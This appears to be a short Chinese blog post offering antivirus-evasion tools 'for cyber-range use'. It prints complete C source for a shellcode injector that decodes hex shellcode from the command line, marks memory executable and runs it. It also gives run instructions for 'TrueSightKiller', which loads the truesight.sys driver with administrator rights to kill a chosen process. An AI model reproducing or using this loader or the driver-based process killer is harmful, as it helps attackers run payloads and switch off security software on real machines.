靶场专用免杀工具

工具
SimpleShellcodeInjector

代码

bash 复制代码
#include <stdio.h>
#include <Windows.h>
int main(int argc, char* argv[]) {
   // HWND hWnd = GetConsoleWindow();
   // ShowWindow( hWnd, SW_HIDE );
    unsigned int char_in_hex;
    char* shellcode = argv[1];
    unsigned int iterations = strlen(shellcode);
    unsigned int memory_allocation = strlen(shellcode) / 2; 
    for (unsigned int i = 0; i < iterations - 1; i++) {
        sscanf(shellcode + 2 * i, "%2X", &char_in_hex);
        shellcode[i] = (char)char_in_hex;
    }
    void* exec = VirtualAlloc(0, memory_allocation, MEM_COMMIT, PAGE_READWRITE);
    memcpy(exec, shellcode, memory_allocation);
    DWORD ignore;
    VirtualProtect(exec, memory_allocation, PAGE_EXECUTE, &ignore);
    (*(void (*)()) exec)();
    return 0;
}

TrueSightKiller

自行编译后,将truesight.sys与编译之后的exe放在同一目录下,以管理员权限运行cmd

-p 指定pid,-n指定进程名


相关推荐
wal13145204 小时前
OpenClaw教程(九)—— 彻底告别!OpenClaw 卸载不残留指南
前端·网络·人工智能·chrome·安全·openclaw
无忧智库6 小时前
从《数据安全法》到全域治理:构建数字时代的安全新基石(PPT)
安全
二进喵7 小时前
关于OpenClaw安全使用指南
安全
谪星·阿凯7 小时前
XSS漏洞解析博客
前端·web安全·xss
数据库安全7 小时前
用AI重新定义数据安全监测,让数据安全变简单
人工智能·安全·数据安全
zzh0817 小时前
nginx安全笔记
笔记·nginx·安全
cramer_50h7 小时前
网络安全技术研究之漏洞和各种安全工具(二)
安全·web安全
湛生8 小时前
NoSQL注入
数据库·安全·web安全·网络安全·nosql
不吃香菜kkk、9 小时前
通过夜莺n9e监控Kubernetes集群
安全·云原生·容器·kubernetes
Mimo_YY9 小时前
SQL-忘记sa密码,如何安全的尝试旧密码,如何修改新密码
安全